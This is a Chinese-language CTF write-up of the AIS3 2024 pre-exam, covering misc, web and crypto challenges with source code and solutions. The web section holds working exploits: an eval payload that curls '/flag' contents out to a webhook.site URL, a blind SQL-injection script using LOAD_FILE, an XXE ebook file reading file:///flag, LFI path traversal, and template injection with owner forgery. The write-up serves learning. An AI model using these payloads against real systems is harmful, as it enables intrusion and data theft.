AIS3-pre-exam-2024-Writeup

2024-06-30

AIS3 pre exam 2024 - writeup

Author:堇姬Naup

Rank 4th

螢幕擷取畫面 2024-05-27 170154
螢幕擷取畫面 2024-05-27 170154

Misc

Welcome

ctrl+c ctrl+v

AIS3{Welc0me_to_AIS3_PreExam_2o24!}

Three Dimensional Secret

看封包然後這個看起來很像3D GCode,直接用線上工具化出來

image
image

image
image

AIS3{b4d1y_tun3d_PriN73r}

Quantum Nim Heist

image
image

image
image

這題我其實不知道怎麼做的,就亂按,choose那邊在第一次後,如果你不輸入任何東西,或是0 1 2也可以過(回去看了source code發現那邊少寫了else),之後就一直按enter,直到最後一顆,拿走就可以拿到flag

image
image

AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Emoji Console

先用cat *來leak source code

image
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",#
"😗": ":*",#
"😙": ":*",#
"😚": ":*",#
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",#
"🤨": ":/",#
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",#
"😔": ":(",
"😕": ":/",#
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",#
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python", #
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"
}

cat flag知道flag是directory,要先cd進去

image
image

cd 進去後會看到一個python檔案,他會去read flag,執行他就可以讀出flag了(先用;分隔,再用|來讓後面會被執行,p:會被當指令,但會執行錯誤)

image
image

cd flag;p:|cat *

image
image

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Web

Evil Calculator

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, jsonify, render_template

app = Flask(__name__)

@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))

@app.route('/')
def index():
return render_template('index.html')

if __name__ == '__main__':
app.run("0.0.0.0",5001)

解法

1
exec('import'+chr(32)+'os;os.system(\"curl'+chr(32)+'https://webhook.site/36d45c0b-dca1-4240-82be-a56d4356a978?a='+'$(cat'+chr(32)+'/flag)'+'\")')

基本上就是 eval() 可控,然後過濾掉_ ,所以可以用exec bypass下底線,跟用chr(32) bypass掉空格。
然後就是先cat出flag,再用curl將資料送到webhook,就可以拿到flag了

image
image

image
image

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

It’s MyGO!!!!!

這題沒有source code,進去後會發現一個很明顯SQL injection的地方
/song?id=
但不能用Union之類的方法,但發現如果用boolean SQL injection來做可以透過回顯來leak/flag

如果猜的不對會回顯No Data

image
image

如過對了會正常回顯影片

1
/song?id=4 AND ASCII(SUBSTRING((SELECT LOAD_FILE('/flag')), {}, 1)) ={}--

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

for i in range(1,400):
for j in range(1,300):
url = "http://chals1.ais3.org:11454/song?id=4%20AND%20ASCII(SUBSTRING((SELECT%20LOAD_FILE(%27/flag%27)),%20{},%201))%20={}--".format(i,j)

response = requests.get(url,timeout=10)

if "No Data" in response.text:
pass

else:
ascii_code = j


print(j)

讀出FLAG ASCII

1
2
3
4
5
6
7
8
9
10
11
12
numbers = [
65, 73, 83, 51, 123, 67, 82, 89, 67, 72, 73, 67, 95, 70, 117, 110, 101, 114, 97, 108, 95,
240, 159, 152, 173, 240, 159, 142, 184, 240, 159, 152, 173, 240, 159, 142, 184, 240, 159,
152, 173, 240, 159, 142, 164, 240, 159, 152, 173, 240, 159, 165, 129, 240, 159, 152, 184,
240, 159, 142, 184, 125
]

byte_data = bytes(numbers)

unicode_string = byte_data.decode('utf-8')

print(unicode_string)

轉unicode
所以我說為甚麼要演奏春日影

AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

Ebook Parser

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import tempfile
import pathlib
import secrets

from os import getenv, path

import ebookmeta

from flask import Flask, request, jsonify
from flask.helpers import send_from_directory

app = Flask(__name__, static_folder='static/')
app.config['JSON_AS_ASCII'] = False
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024

@app.route('/', methods=["GET"])
def index():
return send_from_directory('static', 'index.html')


@app.route('/parse', methods=["POST"])
def upload():
if 'ebook' not in request.files:
return jsonify({'error': 'No File!'})

file = request.files['ebook']

with tempfile.TemporaryDirectory() as directory:
suffix = pathlib.Path(file.filename).suffix
fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
file.save(fp)
app.logger.info(fp)

try:
meta = ebookmeta.get_metadata(fp)
print(meta)
return jsonify({'message': "\n".join([
f"Title: {meta.title}",
f"Author: {meta.author_list_to_string()}",
f"Lang: {meta.lang}",
])})
except Exception as e:
print(e)
return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500


if __name__ == "__main__":
port = getenv("PORT", 8888)
app.run(host="0.0.0.0", port=port)

解法

ebookmeta.get_metadata()在解出資料時,會觸發xxe
xxe -> file:///flag
所以author會顯示出/flag的內容

image
image

image
image

說個趣聞:
https://github.com/dnkorpushov/ebookmeta/issues/16

solve file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>Science Fiction</genre>
<author>
<first-name>&xxe;</first-name>
<last-name>Doe</last-name>
</author>
<book-title>The Lost World</book-title>
<annotation>
<p>This is an example of a FictionBook XML document.</p>
</annotation>
<date>2024</date>
<lang>en</lang>
<coverpage>
<image l:href="cover.jpg" />
</coverpage>
</title-info>
<document-info>
<author>
<first-name></first-name>
<last-name>Doe</last-name>
</author>
<program-used>Calibre 5.0</program-used>
<date>2024-05-26</date>
<src-url>http://example.com</src-url>
<id>123456789</id>
<version>1.0</version>
</document-info>
</description>
<body>
<title>Chapter 1: The Beginning</title>
<section>
<title>Introduction</title>
<p>In the year 2050, humanity faced its greatest challenge...</p>
</section>
<section>
<title>The Discovery</title>
<p>It all started with a mysterious signal from deep space...</p>
</section>
<section>
<title>The Journey</title>
<p>A team of brave astronauts embarked on a perilous journey...</p>
</section>
</body>
</FictionBook>

Capoost

第一步 LFI leak source code

個人覺得最複雜的一題,首先要發現LFI,來讓這題從黑箱變白箱

  • Dockerfile
    GET /template/read?name=capoo../../../Dockerfile

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    FROM golang:1.19 as builder

    LABEL maintainer="Chumy"

    RUN apt install make

    COPY src /app
    COPY Dockerfile-easy /app/Dockerfile
    WORKDIR /app
    RUN make clean && make && make readflag && \
    mv bin/readflag /readflag && \
    mv fl4g1337 /fl4g1337 && \
    chown root:root /readflag && \
    chmod 4555 /readflag && \
    chown root:root /fl4g1337 && \
    chmod 400 /fl4g1337 && \
    touch .env && \
    useradd -m -s /bin/bash app && \
    chown -R app:app /app

    USER app

    ENTRYPOINT ["./bin/capoost"]

    golang網站,那main應該是->main.go

  • main.go
    /template/read?name=capoo../../../main.go

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    package main
    import (
    // "net/http"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/go-errors/errors"

    "capoost/router"
    "capoost/utils/config"
    // "capoost/utils/database"
    "capoost/utils/errutil"
    "capoost/middlewares/auth"
    )

    func main() {
    if !config.Debug {
    gin.SetMode(gin.ReleaseMode)
    }
    store := cookie.NewStore(config.Secret)
    backend := gin.Default()
    backend.Use(errorHandler)
    backend.Use(gin.CustomRecovery(panicHandler))
    backend.Use(sessions.Sessions(config.Sessionname, store))
    backend.Use(auth.AddMeta)
    router.Init(&backend.RouterGroup)
    backend.Run(":"+string(config.Port))
    }

    func panicHandler(c *gin.Context, err any) {
    goErr := errors.Wrap(err, 2)
    //errmsg := ""
    //if config.Debug {
    errmsg := goErr.Error()
    //}
    errutil.AbortAndError(c, &errutil.Err{
    Code: 500,
    Msg: "Internal server error",
    Data: errmsg,
    })
    }

    func errorHandler(c *gin.Context) {
    c.Next()

    for _, e := range c.Errors {
    err := e.Err
    //errmsg := ""
    //if config.Debug {
    errmsg := err.Error()
    //}
    c.JSON(500, gin.H{
    "code": 500,
    "msg": "Internal server error",
    "data": errmsg,
    })
    return
    }
    }

    根據import開始leak所有檔案

  • auth.go
    name=capoo../../../middlewares/auth/auth.go

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    package auth

    import (
    // "fmt"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions"

    "capoost/utils/errutil"
    "capoost/models/user"
    )

    func CheckSignIn(c *gin.Context) {
    if isSignIn, exist := c.Get("isSignIn"); !exist || !isSignIn.(bool) {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 401,
    Msg: "You are not login.",
    })
    }
    }

    func CheckIsAdmin(c *gin.Context) {
    if isAdmin, exist := c.Get("isAdmin"); !exist || !isAdmin.(bool) {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 405,
    Msg: "You are not admin.",
    })
    }
    }

    func CheckIsNotAdmin(c *gin.Context) {
    if isAdmin, exist := c.Get("isAdmin"); !(!exist || !isAdmin.(bool)) {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 405,
    Msg: "This method is not available to admin.",
    })
    }
    }

    func AddMeta(c *gin.Context) {
    session := sessions.Default(c)
    username := session.Get("user")
    if username == nil {
    c.Set("isSignIn", false)
    } else {
    userdata, err := user.GetUser(username.(string))
    c.Set("user", userdata)
    if err != nil {
    c.Set("isSignIn", false)
    } else {
    c.Set("isSignIn", true)
    c.Set("isAdmin", userdata.ID == 1)
    }
    }
    }

  • post.go
    ?name=capoo../../../router/post/post.go

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    package post
    import (
    "path"
    "strconv"
    "text/template"
    "os/exec"
    "os"
    "regexp"
    "errors"
    "bytes"
    "strings"

    "github.com/gin-gonic/gin"

    "capoost/middlewares/auth"
    "capoost/models/user"
    "capoost/models/post"
    "capoost/utils/errutil"
    "capoost/utils/database"
    )

    type page struct {
    Data string `json:"data"`
    Count int `json:"count"`
    Percent int `json:"percent"`
    }

    var router *gin.RouterGroup

    func Init(r *gin.RouterGroup) {
    router = r
    router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create)
    router.GET("/list", auth.CheckSignIn, list)
    router.GET("/read", auth.CheckSignIn, read)
    }

    func create(c *gin.Context) {
    userdata, _ := c.Get("user")
    postdata := post.Post{
    Owner: userdata.(user.User),
    }
    err := c.ShouldBindJSON(&postdata)
    if err != nil || postdata.Title == "" {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 400,
    Msg: "Invalid Post",
    })
    return
    }
    reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
    postdata.Template = reg.ReplaceAllString(postdata.Template, "")
    if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template)));
    path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") ||
    errors.Is(err, os.ErrNotExist) {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 400,
    Msg: "Invalid Post",
    })
    return
    }
    postdata.Create()

    c.String(200, "Post success")
    }

    func list(c *gin.Context) {
    posts, err := post.GetAllPosts()
    if err != nil {
    panic(err)
    }
    c.JSON(200, posts)
    }

    func read(c *gin.Context) {
    postid, err := strconv.Atoi(c.DefaultQuery("id", "0"))
    if err != nil {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 400,
    Msg: "Invalid ID",
    })
    }
    nowpost, err := post.GetPost(uint(postid))
    if err != nil {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 400,
    Msg: "Invalid ID",
    })
    }
    t := template.New(nowpost.Template)
    if nowpost.Owner.ID == 1 {
    t = t.Funcs(template.FuncMap{
    "G1V3m34Fl4gpL34s3": readflag,
    })
    }
    t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template)))
    b := new(bytes.Buffer)
    if err = t.Execute(b, nowpost.Data); err != nil {
    panic(err)
    }
    nowpost.Count++
    sum := 0
    posts, _ := post.GetAllPosts()
    for _, now := range posts {
    if nowpost.ID == now.ID {
    sum += nowpost.Count
    } else {
    sum += now.Count
    }
    }
    var percent int
    if sum != 0 {
    percent = (nowpost.Count * 100) / sum
    } else {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 500,
    Msg: "Sum of post count can't be 0",
    })
    }
    if strings.Contains(b.String(), "AIS3") {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 403,
    Msg: "Flag deny",
    })
    }
    nowpage := page{
    Data: b.String(),
    Count: nowpost.Count,
    Percent: percent,
    }
    c.JSON(200, nowpage)
    database.GetDB().Save(&nowpost)
    }

    func readflag() string {
    out, _ := exec.Command("/readflag").Output()
    return strings.Trim(string(out), " \n\t")
    }

  • template.go
    ?name=capoo../../../router/template/template.go

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    package template
    import (
    "os"
    "path"
    "regexp"
    "github.com/gin-gonic/gin"

    "capoost/middlewares/auth"
    "capoost/utils/errutil"
    )

    var router *gin.RouterGroup

    func init() {
    os.MkdirAll("./template", os.ModePerm)
    }

    func Init(r *gin.RouterGroup) {
    router = r
    router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload)
    router.GET("/list", auth.CheckSignIn, list)
    router.GET("/read", auth.CheckSignIn, read)
    }

    func upload(c *gin.Context) {
    reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
    template := c.PostForm("template")
    name := reg.ReplaceAllString(c.PostForm("name"), "")
    f, err := os.Create(path.Clean(path.Join("./template", name)))
    if err != nil {
    panic(err)
    }
    _, err = f.WriteString(template)
    if err != nil {
    panic(err)
    }
    c.String(200, "Upload success")
    }

    func list(c *gin.Context) {
    tmpls, err := os.ReadDir("./template")
    if err != nil {
    panic(err)
    }
    result := make([]string, len(tmpls))
    for i, tmpl := range tmpls {
    result[i] = tmpl.Name()
    }
    c.JSON(200, result)
    }

    func read(c *gin.Context) {
    name := c.Query("name")
    if name == "" {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 400,
    Msg: "Bad name",
    })
    return
    }
    tmpl, err := os.ReadFile(path.Join("./template", name))
    if err != nil {
    errutil.AbortAndError(c, &errutil.Err{
    Code: 400,
    Msg: "Not exist",
    })
    return
    }
    c.Data(200, "text/plain", tmpl)
    //c.File(path.Join("./template", name))
    }
  • user.go
    capoo../../../models/user/user.go

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    package user

    import (
    "log"
    "fmt"
    "encoding/base64"
    "crypto/rand"

    "capoost/utils/database"
    "capoost/utils/password"
    )

    type User struct {
    ID uint `gorm:"primaryKey" json:"-"`
    Username string `json:"username"`
    Password password.Password `json:"password"`
    }

    func init() {
    const adminname = "4dm1n1337"
    database.GetDB().AutoMigrate(&User{})

    if _, err := GetUser(adminname); err == nil {
    return
    }

    buf := make([]byte, 12)
    _, err := rand.Read(buf)
    if err != nil {
    log.Panicf("error while generating random string: %s", err)
    }
    User{
    //ID: 1,
    Username: adminname,
    Password: password.New(base64.StdEncoding.EncodeToString(buf)),
    }.Create()
    }

    func (a User) Equal(b User) bool {
    return a.Username == b.Username && a.Password == b.Password
    }

    func (user User) Login() bool {
    if user.Username == "" {
    return false
    }
    if _, err := GetUser(user.Username); err == nil {
    var loginuser User
    result := database.GetDB().Where(&user).First(&loginuser)
    return result.Error == nil
    }
    return user.Create() == nil
    }

    func GetUser(username string) (User, error) {
    var loginuser User
    result := database.GetDB().Where(&User{
    Username: username,
    }).First(&loginuser)
    return loginuser, result.Error
    }

    func (user User) Create() error {
    if user.Password == "" {
    return fmt.Errorf("Password can't be empty in create")
    }
    result := database.GetDB().Model(&User{}).Create(&user)
    return result.Error
    }

以及登入的前端(不用LFI,F12直接看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
let password = document.getElementById('password').value;
if (password === "") {
password = "empty"
}

fetch('/user/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
})
.then(response => {
if (response.status === 200) {
// Redirect to home page or show login success
window.location.href = '/';
} else {
// Show error message
alert('Login failed');
}
})
.catch(error => console.error('Error:', error));
});
</script>

基本上這些就夠了

第二步 分析source code+湊齊條件

你會發現可以注入模板,但是需要達成三個條件(post.go)

image
image

  • 只有admin可以創建模板,所以要拿到admin,來注入模板
  • 使用該模板創建貼文
  • 該貼文的創建者是admin

另外可以觀察出來,如果輸入(一般使用者要登入,隨便輸入一組就會自己註冊了)
帳號: 4dm1n1337
密碼: 空白
就可以登入(這邊我用burpsuite抓下來送才過的了)

image
image

直接把session丟到網頁,然後重整就可以看到admin頁面了

image
image

另外還有個問題,使用模板這部分沒問題,那究竟該如何讓該貼文創建者是admin呢(admin沒辦法創建貼文,只有一般使用者可以創建貼文)

最核心的地方就是這段code了

image
image

如果我在貼文創建請求時,在原有的Json裡面塞入Owner:<名稱>,就可以任意的偽造該貼文的創建者了

image
image

這邊發現偽造成功

image
image

這樣子就湊齊條件了

第三部 製作模板

首先這題要透過執行模板來去讀取flag,這裡有看到一個函數

1
2
3
4
func readflag() string {
out, _ := exec.Command("/readflag").Output()
return strings.Trim(string(out), " \n\t")
}

這邊用readflag不行,要call G1V3m34Fl4gpL34s3

image
image

G1V3m34Fl4gpL34s3 -> readflag()

1
{{G1V3m34Fl4gpL34s3}}

就可以呼叫flag了,但是會遇到一個問題,就是它會過濾輸出包含AIS3

輸出有AIS3會回報403

image
image

image
image

我這邊想到的方法是把AI切掉輸出
所以我用

1
{{slice G1V3m34Fl4gpL34s3 2}}

最後一步 串起來

burpsuite抓登入 -> 修改admin密碼為空並送出 ->更改session後刷新拿到管理頁面 -> 注入模板 ->登出後隨便註冊一個新帳號 -> burpsuite抓創建貼文 -> 加入 'Owner':'4dm1n1337'偽造創建者為admin -> 點開該貼文即可看到flag

image
image

image
image

image
image

結論就是,這卡波笑得很邪惡

AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}

Crypto

babyRSA

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import random
from Crypto.Util.number import getPrime
from secret import flag
def gcd(a, b):
while b:
a, b = b, a % b
return a

def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)

e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
return ((e, n), (d, n))

def encrypt(pk, plaintext):
key, n = pk
cipher = [pow(ord(char), key, n) for char in plaintext]
return cipher

def decrypt(pk, ciphertext):
key, n = pk
plain = [chr(pow(char, key, n)) for char in ciphertext]
return ''.join(plain)

public, private = generate_keypair(512)#public=(e,n)
encrypted_msg = encrypt(public, flag)
decrypted_msg = decrypt(private, encrypted_msg)

print("Public Key:", public)
print("Encrypted:", encrypted_msg)
# print("Decrypted:", decrypted_msg)

解法

他是一個字元一個字元加密的,直接暴力搜尋就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
n=
e=
c=
def encrypt(pk, char):
key, n = pk
cipher = pow(char, key, n)
return cipher

if __name__ == '__main__':
for i in c:
for j in range(256):
if encrypt((e,n), j) == i:
print(chr(j), end='')

